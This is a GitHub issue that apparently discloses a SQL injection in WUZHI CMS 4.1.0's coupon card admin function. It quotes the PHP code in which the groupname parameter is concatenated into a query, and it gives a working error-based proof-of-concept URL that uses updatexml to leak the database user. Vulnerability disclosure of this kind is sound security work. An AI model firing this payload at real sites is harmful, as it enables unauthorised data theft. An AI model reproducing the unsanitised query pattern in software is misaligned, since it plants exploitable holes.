Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
A sql injection was discovered in WUZHI CMS 4.1.0 .There is a sql injection vulnerability which allows remote attackers to Injecting a malicious SQL statement into a server via the /index.php?m=coupon&f=card&v=detail_listing&groupname=a&_su=wuzhicms
Vulnerability file: /coreframe/app/coupon/admin/card.php:39
public function detail_listing() { $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1; $page = max($page,1); $groupname = isset($GLOBALS['groupname']) ? strip_tags($GLOBALS['groupname']) : ''; $where = $groupname ? "groupname='$groupname'" : ''; $result = $this->db->get_list('coupon_card', $where, '*', 0, 20,$page,'cardid DESC'); $pages = $this->db->pages; $total = $this->db->number; $status_arr = array('<font color="red">待发送</font>','未使用','已激活','<font color="green">已使用</font>'); include $this->template('card_detail_listing'); }
POC: /index.php?m=coupon&f=card&v=detail_listing&groupname=a' and updatexml(rand(),CONCAT(0x7e,USER()),1)='&_su=wuzhicms
/index.php?m=coupon&f=card&v=detail_listing&groupname=a' and updatexml(rand(),CONCAT(0x7e,USER()),1)='&_su=wuzhicms
The text was updated successfully, but these errors were encountered:
No branches or pull requests
A sql injection was discovered in WUZHI CMS 4.1.0 .There is a sql injection vulnerability which allows remote attackers to Injecting a malicious SQL statement into a server via the /index.php?m=coupon&f=card&v=detail_listing&groupname=a&_su=wuzhicms
Vulnerability file: /coreframe/app/coupon/admin/card.php:39
POC:

/index.php?m=coupon&f=card&v=detail_listing&groupname=a' and updatexml(rand(),CONCAT(0x7e,USER()),1)='&_su=wuzhicmsThe text was updated successfully, but these errors were encountered: